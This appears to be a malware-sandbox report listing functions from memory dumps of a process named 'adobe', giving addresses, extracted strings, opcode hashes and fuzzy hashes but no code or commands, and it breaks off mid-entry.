String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 6fe30d9262d5c2233a8aed61190c68a3f62b6421f5518a76f93bfca07dfcd366
Instruction ID: f385d1dcf9f1e0660bb8c21dbd120e49604806ef4f1b0cba490199ea1994b83a
Opcode Fuzzy Hash: 6fe30d9262d5c2233a8aed61190c68a3f62b6421f5518a76f93bfca07dfcd366
Instruction Fuzzy Hash: C031F531B102018FDB499B74D45466E7BA3EF85300F1544A8D406DB396EE75CE06C7A5

Function 06752200 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PH]q, xrefs: 0675233B

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: d8cb8a44cd29e1dd0b65ce553a18322febe3d2b4e9c72c532ff9736f835a8413
Instruction ID: 102a141a5a56506ee9fa9a277c428863a0037730e92025e5645e945e94da90de
Opcode Fuzzy Hash: d8cb8a44cd29e1dd0b65ce553a18322febe3d2b4e9c72c532ff9736f835a8413
Instruction Fuzzy Hash: DF31C330B102068FDB589B74D514A6E7BE7EF89300F228478D806DB395EE75DE06C7A5

Function 06754A99 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

\Obq, xrefs: 06754AA5

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID: \Obq
API String ID: 0-2878401908
Opcode ID: 0b010db63069a197150f17606389cb6e8a558453d297f1af746a6dce848e74a0
Instruction ID: 5a4d016587a355b1e1b42a703ee1ab6d46139d7108965d440ec74a44a16ef768
Opcode Fuzzy Hash: 0b010db63069a197150f17606389cb6e8a558453d297f1af746a6dce848e74a0
Instruction Fuzzy Hash: 4EF0FE71A50129DFDB54DF94E959BAE7BB2FF84705F204119E402A7294CBB41C41CF90

Function 06756230 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9d5d5814fe77f1583dcd9c67de5bc69789210d9d8f575a242bf2b9a57b24072
Instruction ID: 893d47425b7ad020197e08f1ceda83191fd2be08ca22a07c8518e0d7db52a689
Opcode Fuzzy Hash: a9d5d5814fe77f1583dcd9c67de5bc69789210d9d8f575a242bf2b9a57b24072
Instruction Fuzzy Hash: 9061CF71F000114FDB54AA6EC88066FBADBAFD4220F654479E80EDB364DEA9DD0287D2

Function 067542E2 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c45dab12284ed5c2c14e92da0cc3fbccebf32c9ba17679ff42f77fac34b4cadf
Instruction ID: a95b68431e8b85b01e4b0ea81ffd10db435bb6ea21bb2ad70b57f0b50eb73cdd
Opcode Fuzzy Hash: c45dab12284ed5c2c14e92da0cc3fbccebf32c9ba17679ff42f77fac34b4cadf
Instruction Fuzzy Hash: B2815030B006098FDB44DFB5D8546AE77F2EF85304F118568D80AEB359EB75DC868792

Function 06754600 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1181cf974bc0c2a58e86f1e8ca66ec6c321ebe67a0af736f2024fd12ba4759b1
Instruction ID: 947b75616bbd9d6774ccb4c61133bb170c15b1002719b9ea60de980a10950ffc
Opcode Fuzzy Hash: 1181cf974bc0c2a58e86f1e8ca66ec6c321ebe67a0af736f2024fd12ba4759b1
Instruction Fuzzy Hash: 2A914E30E106598FDF60DF64C890B9DB7B1FF85300F218595D449BB295DB70AA85CB91

Function 06754618 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e94ba3362dfdd355a284e6bb995fb843c1f262f8feba872a336d26edff21dd00
Instruction ID: 473ca0399f4a474cf2e8066c4961bf0ec5a896220ba863234328d7f1f6064fb1
Opcode Fuzzy Hash: e94ba3362dfdd355a284e6bb995fb843c1f262f8feba872a336d26edff21dd00
Instruction Fuzzy Hash: D2913D30E106198BDF60DF68C890B9DB7B1FF89304F208599D549BB255EB70AA85CF91

Function 0675EF78 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2741f4fe2329e34a342ab5a8d6ff69fdb42d967da8fb94a95fadf85b21a63ff6
Instruction ID: 104786d1cbf8c860fbcffce80fc8e6b5a43c29b01e003a0265267b38420678c0
Opcode Fuzzy Hash: 2741f4fe2329e34a342ab5a8d6ff69fdb42d967da8fb94a95fadf85b21a63ff6
Instruction Fuzzy Hash: CC716B70A002099FDB44DFA8D990AAEBBF6FF88300F258469E405EB355DB74ED46CB50

Function 0675EF88 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59a16abb08a3cff75d88876c73abf6f1b212c99aad673d1d0fa7cd1871ff3ac1
Instruction ID: 5842ef64118cf22f24a39782173ca8467cd1925e3465db750d4f95de15892b5f
Opcode Fuzzy Hash: 59a16abb08a3cff75d88876c73abf6f1b212c99aad673d1d0fa7cd1871ff3ac1
Instruction Fuzzy Hash: A3716C70A002099FDB54DFA8D990AAEBBF6FF84300F158469E405EB355DB74ED46CB50

Function 0675FC11 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc8175305e9b7b44f801ceca0845b50e8fbccb1d815d50cb1d074fa318ce18d1
Instruction ID: 6fb5398f3fa624fd47307ad81e89f7465a8cb34d3edf2b33578f0563edd17f14
Opcode Fuzzy Hash: dc8175305e9b7b44f801ceca0845b50e8fbccb1d815d50cb1d074fa318ce18d1
Instruction Fuzzy Hash: BC510231E00209DFDF54EB78E4946ADBBB2FF84315F2188BAD90AD7250CB799905CB80

Function 0675F9C1 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74c06a6a65dfde52e361b80c531054a15f1bac120cc9c727e1b3b3852de8792e
Instruction ID: 5e635603ebe3b41b7645c8c69ae97c63713ede2a90863b85829d6f984f2cdffa
Opcode Fuzzy Hash: 74c06a6a65dfde52e361b80c531054a15f1bac120cc9c727e1b3b3852de8792e
Instruction Fuzzy Hash: C651D670B10204DFEF65677DE99473F265EDB89300F25486AE80AC3399CAADCC458BD2

Function 0675F9D0 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2bc9e94e054e314296dd3ee846c41b5121988471a7509a90d216413cfd442e9
Instruction ID: 40e3bd6c5b472967fabeb4d6c2bb5d5aded923d959dc64fdb0ffafc34c064fac
Opcode Fuzzy Hash: e2bc9e94e054e314296dd3ee846c41b5121988471a7509a90d216413cfd442e9
Instruction Fuzzy Hash: 4551C670B10204DFEF64676DE95473F265ED789310F25486AE80AC3399CAADCC458B92

Function 067555D8 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c96b38df7b481d2361308f410b11c313a34164eabc54baac16737fb4b303fba
Instruction ID: eb4a3460d247a4acfc29f15bc0bbe39e1062cf14d60b6e606cec9c6d0abb56a1
Opcode Fuzzy Hash: 1c96b38df7b481d2361308f410b11c313a34164eabc54baac16737fb4b303fba
Instruction Fuzzy Hash: 6651A474E002458FFF718B69C4C077EBBB2EB45310F26C8A9E959DB281D6B5D881CB91

Function 0675545A Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7b25ee25a08d36a49e0385d0712c908b1e11139ff7926b93c2b047b747131d4
Instruction ID: a395150d8e6325e4f06fdf093d7d1daa231d1da0f02ebe649492a92e90257bc3
Opcode Fuzzy Hash: a7b25ee25a08d36a49e0385d0712c908b1e11139ff7926b93c2b047b747131d4
Instruction Fuzzy Hash: 0E419D31E002098FEF70CEA9D8C0ABFF7B2EB84310F10496AE616D7610D371E8858B91

Function 067520B0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cee8a9265a7da3371355ea1e63bfb142384fe00917586059cc436895139fdbb
Instruction ID: d15a35f32dba7752dd4b8c271ede8184c4faf46ac526ba008540c82b34c4602b
Opcode Fuzzy Hash: 0cee8a9265a7da3371355ea1e63bfb142384fe00917586059cc436895139fdbb
Instruction Fuzzy Hash: 7A31B230E506099FDB09CF64D85469EB7B2EF8A300F108559EC19EB351DB70ED42CB90

Function 0675D9C8 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d3006565c011223c8d28c1b6d491078cff712a3c3982eb4fd890a3213b449c1
Instruction ID: b5088ea2be9c6161d39b5bcce1ca27b788a2d5f2547ade34e7f8927fae30d6b2
Opcode Fuzzy Hash: 2d3006565c011223c8d28c1b6d491078cff712a3c3982eb4fd890a3213b449c1
Instruction Fuzzy Hash: AD31E430E1060A8BDB64DF69D890A9FB7B6FF85304F118569E805EB244DBB0E946CB85

Function 067520C0 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0da0cf6dca77dd35559583cbac8ca55929a9732e3642b36260ea7879f02730df
Instruction ID: d4bca36562567dbf6a59979c442b1076dcd60fb608bf38e67234c9efd35e87a8
Opcode Fuzzy Hash: 0da0cf6dca77dd35559583cbac8ca55929a9732e3642b36260ea7879f02730df
Instruction Fuzzy Hash: D5316D30E106099BDB58CF65D8946AFB7B2EF8A300F118569EC19E7351DB71ED42CB90

Function 06753EE9 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5748287fbf9a1e82677dfab827ebed5757b64f8a24d8f1fee1563d094e408acc
Instruction ID: 736d02fc2e7fc0e0bf700a10cc1a7070784d5d4541e59ced539331afdd399999
Opcode Fuzzy Hash: 5748287fbf9a1e82677dfab827ebed5757b64f8a24d8f1fee1563d094e408acc
Instruction Fuzzy Hash: 67218B75F006059FDB50DFA8D880AAEBBF1EF88210F158169E919E7390E775D9018F91

Function 06753EF8 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 635c25cdf9d0248b26b4208c8e2840eeb3ed82254074dc42f7f9295c23cd4c21
Instruction ID: 744e915fee4cf3aec170fd2174d622b0710964d00b7b30cf98050b665ee8086e
Opcode Fuzzy Hash: 635c25cdf9d0248b26b4208c8e2840eeb3ed82254074dc42f7f9295c23cd4c21
Instruction Fuzzy Hash: 92219C71E006059FDB50DFA8D880AAEB7F1EB48350F1081A5E905E7390E771D9018F91

Function 00DBD030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4485427779.0000000000DBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_dbd000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a214d0a5b6c59d5740c7df3c61f4e91ffdc9564884b717e690147d536b70374
Instruction ID: 6b3023a7d4501062919042289b795a09f798026367b79dcfd35ad41c63331e7f
Opcode Fuzzy Hash: 8a214d0a5b6c59d5740c7df3c61f4e91ffdc9564884b717e690147d536b70374
Instruction Fuzzy Hash: 4221FF71604204DFCB14EF24D9C0B66BBA6FB88314F24C56DE94A4B296D33AD846CB72

Function 00DBD005 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4485427779.0000000000DBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_dbd000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d364af46f53de8b72b002b2d4684eec6369d257a0e8e34b5108047354f68478
Instruction ID: 93b858a6319c792474c3380046a0c4c25ab1c35e8a8c026d309ba079dfa11833
Opcode Fuzzy Hash: 7d364af46f53de8b72b002b2d4684eec6369d257a0e8e34b5108047354f68478
Instruction Fuzzy Hash: C7214B715093C09FCB03DB24D994711BF71AB46214F29C5DBD8898F2A7D23A980ACB62

Function 06754008 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 085451887281a389c735b8af1828e72a4fc5a20f4457ecd4ea8d71fcf4424945
Instruction ID: d0d7a8f3762d0546196b3e8a178acc7d2d506fb04b70f126ade175804a630c1d
Opcode Fuzzy Hash: 085451887281a389c735b8af1828e72a4fc5a20f4457ecd4ea8d71fcf4424945
Instruction Fuzzy Hash: 9211A532B101284FDB549668D8146AE73F6EBC8311F1185BAC80AE7344EEA6DC0287D2

Function 06754240 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bed5fed2489ec3d3540de7837e56cdfca25bf13f95ff862744bf20d9a1d9e3c2
Instruction ID: 8e10be86f23460f43eccd76adf381566b6d432e504fe21d3ea9c66663b487f2f
Opcode Fuzzy Hash: bed5fed2489ec3d3540de7837e56cdfca25bf13f95ff862744bf20d9a1d9e3c2
Instruction Fuzzy Hash: DA01D432B000251BEB64D6AED864BABB2CADBCA714F11843AF50EC7348EDA5DC4243D5

Function 06753CC0 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ae1077276548bcbf07febec097ae058744024f0c97e94100583329237322911
Instruction ID: 7fc486ca7697198beb73492ee6df5e1d6f39bc31c798cc340bc8466a452c5fd5
Opcode Fuzzy Hash: 8ae1077276548bcbf07febec097ae058744024f0c97e94100583329237322911
Instruction Fuzzy Hash: 412103B1D01219AFCB00DF9AD884ADEFFB8FB48310F10816AE918A7310D3746954CFA5

Function 0675F1F8 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29c6848c0a093cfb4d91f9fa4057615b27b072e5777a5bd1fed8a79eb2a8fc6f
Instruction ID: 8ae01b9f2f0f55e4f85794d1a0587d5648a9c58cdf23bad281c481cccea99476
Opcode Fuzzy Hash: 29c6848c0a093cfb4d91f9fa4057615b27b072e5777a5bd1fed8a79eb2a8fc6f
Instruction Fuzzy Hash: C201F135B041410FEB61D6BD9854B2F7BDACBCB624F0688AAE409C7391DA58DC0347D6

Function 0675A350 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce1433734f3f1dae68b3e5eb9c2af7579fb26b2520f5dc72a3e93bde7dd96cdd
Instruction ID: 0fe28665d8cfd4ee3c87964572dc7f1868889f8104b825017750989a387bd915
Opcode Fuzzy Hash: ce1433734f3f1dae68b3e5eb9c2af7579fb26b2520f5dc72a3e93bde7dd96cdd
Instruction Fuzzy Hash: 9901DF31B101144FEB50DA38E890B6B73D6EB86618F114678F40AC7340E962EC0283D0

Function 06753FF9 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49bfdc891882f5e527716cc8e2ae78dd70c9f71728eb36acb6b29dc50d66395a
Instruction ID: 86a7a84d01e0d6f9006d04955ffae19adc276901a70ab5b71eaee638cd6a5946
Opcode Fuzzy Hash: 49bfdc891882f5e527716cc8e2ae78dd70c9f71728eb36acb6b29dc50d66395a
Instruction Fuzzy Hash: D901F733B100281BEB549668DC147FF32EAEBC9310F1241B6D50AE3384EEA6CC0247D2

Function 06753CC8 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b14c4e92cfa633bb4a9f3a1e6fbb84a9ec5a9a4f7cb201b11b112b6fd0a57fe6
Instruction ID: a9c0d8e53950cc1ea2b5316111960c75654e39716e334d24eae82213b3b3eefc
Opcode Fuzzy Hash: b14c4e92cfa633bb4a9f3a1e6fbb84a9ec5a9a4f7cb201b11b112b6fd0a57fe6
Instruction Fuzzy Hash: 2D11D3B1D012599FCB00DF9AD884ADEFBB8FB49310F10816AE918A7210D3746954CFA5

Function 06754250 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 538338d4a85a6274c46a48f34a4c5f2a84641412887ab1adf0b0c35477f7205e
Instruction ID: ee9342389f45689aa8080ed2aa84632839c4644eb6bcacf9e10d5144c792f376
Opcode Fuzzy Hash: 538338d4a85a6274c46a48f34a4c5f2a84641412887ab1adf0b0c35477f7205e
Instruction Fuzzy Hash: 6E01D132B000250BDB64D6AED454B6BB6DBDBCA721F11843AE90EC7388EEA5DC4243D5

Function 0675F208 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c19604921f1eccee5e5dd39c3a80d2a8ab9edceb7ed857a6f9187fbde8fb3df
Instruction ID: eb90ce0b63fc544d448dd4c7c99283d89fb325eea8c27e8d0652a3de1578d260
Opcode Fuzzy Hash: 4c19604921f1eccee5e5dd39c3a80d2a8ab9edceb7ed857a6f9187fbde8fb3df
Instruction Fuzzy Hash: DC01D175F000140BDB65D6ADA854B3F76CACBCA624F11887AF50AC7350DE69DC034BD5

Function 0675A360 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a2b658f5b923aa1f8088e286d1f2a65d38ddbfed07ccdf03ca0d1bdbea15f87
Instruction ID: 3ee392fceb7fd76135f8970716b8da5835f2fef8cf2c8066505affb6419b820a
Opcode Fuzzy Hash: 5a2b658f5b923aa1f8088e286d1f2a65d38ddbfed07ccdf03ca0d1bdbea15f87
Instruction Fuzzy Hash: E801D131B105144FDB50EA38E850B2F77D6EB8A718F118678E50AC7344EEA2EC0283C0

Function 0675C830 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 525216eeeac5cfc2bf5efb55b2b17a322a7f487deddb0ba2ef98b4d3affa8566
Instruction ID: 6162cfe03a4090a5f62ed951c8e634cc7fb6320c871f34091dddb0fb34305731
Opcode Fuzzy Hash: 525216eeeac5cfc2bf5efb55b2b17a322a7f487deddb0ba2ef98b4d3affa8566
Instruction Fuzzy Hash: 57F0A032E212689BDB559A76EC00AABB779E784354F1144AAED01F7244DA72A801CBD0

Function 067564B8 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98c0091b8d38cc2d137d3a3d9e4dbadae2f39c3c3320ee450c1a699a72546bdb
Instruction ID: 6c75f71f1255778c23f0c168230ebf88f31faefad1fbfc7d28956862fe6f32bd
Opcode Fuzzy Hash: 98c0091b8d38cc2d137d3a3d9e4dbadae2f39c3c3320ee450c1a699a72546bdb
Instruction Fuzzy Hash: EEE0D871E181885BEF60CE70895935A7B78DB02204F2144E9DC08CB102E1B5CF028391

Non-executed Functions

Function 067576E8 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$]q, xrefs: 06757BB0
$]q, xrefs: 06757BBC
$]q, xrefs: 06757C65
$]q, xrefs: 06757830
$]q, xrefs: 06757C4F
$]q, xrefs: 06757C71
$]q, xrefs: 067577FF
$]q, xrefs: 06757824
$]q, xrefs: 067577F3
$]q, xrefs: 06757C5B

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-2843079600
Opcode ID: 65c78b362728bad11f1d81832a3c87ec0e890780be09032caa3ee3af2236a763
Instruction ID: bb522a1a8d7d032fa62253914f8ce772febf90ce367ea5be6b81eb4095514d43
Opcode Fuzzy Hash: 65c78b362728bad11f1d81832a3c87ec0e890780be09032caa3ee3af2236a763
Instruction Fuzzy Hash: EF123E30E002198FDB68DF69C894AADB7F6FF84304F2185A9D809AB355EB719D41CB81

Function 0675A980 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$]q, xrefs: 0675AB08
$]q, xrefs: 0675AAFC
$]q, xrefs: 0675AADD
$]q, xrefs: 0675AB3E
$]q, xrefs: 0675AA76
$]q, xrefs: 0675AB32
$]q, xrefs: 0675AA82
$]q, xrefs: 0675AAD1

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: 7bddcf3568229e4d72857f50affc0861c926832aaa0492e19f589b029b091605
Instruction ID: 3c9091b083b28142679a2d281d74825dc746b43e042c98e30c6146ef78f40cea
Opcode Fuzzy Hash: 7bddcf3568229e4d72857f50affc0861c926832aaa0492e19f589b029b091605
Instruction Fuzzy Hash: 06915F30A00209DFEB68EF65D994B6E7BF6FF44300F1186B9E801A7295DBB59D41CB90

Function 067570E8 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$]q, xrefs: 067575F0
$]q, xrefs: 06757424
$]q, xrefs: 067573CA
$]q, xrefs: 06757430
$]q, xrefs: 067575FC
$]q, xrefs: 06757584
.5uq, xrefs: 06757143

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID: .5uq$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-981061697
Opcode ID: 8543b0110ad27a74d9ceb4a168d19447bcc9ce43553e4694793d9cbfbd783609
Instruction ID: a196b4160433b21611c2698887dc1f509e862ca5670350cd4f8caf262293c1ad
Opcode Fuzzy Hash: 8543b0110ad27a74d9ceb4a168d19447bcc9ce43553e4694793d9cbfbd783609
Instruction Fuzzy Hash: 23F18330B00209CFDB58EFA5D554A6EB7B6FF84300F2585A9D805AB3A9DB75DC42CB90

Function 06758418 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$]q, xrefs: 06758672
$]q, xrefs: 067586D7
$]q, xrefs: 0675867E
$]q, xrefs: 067586E3

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
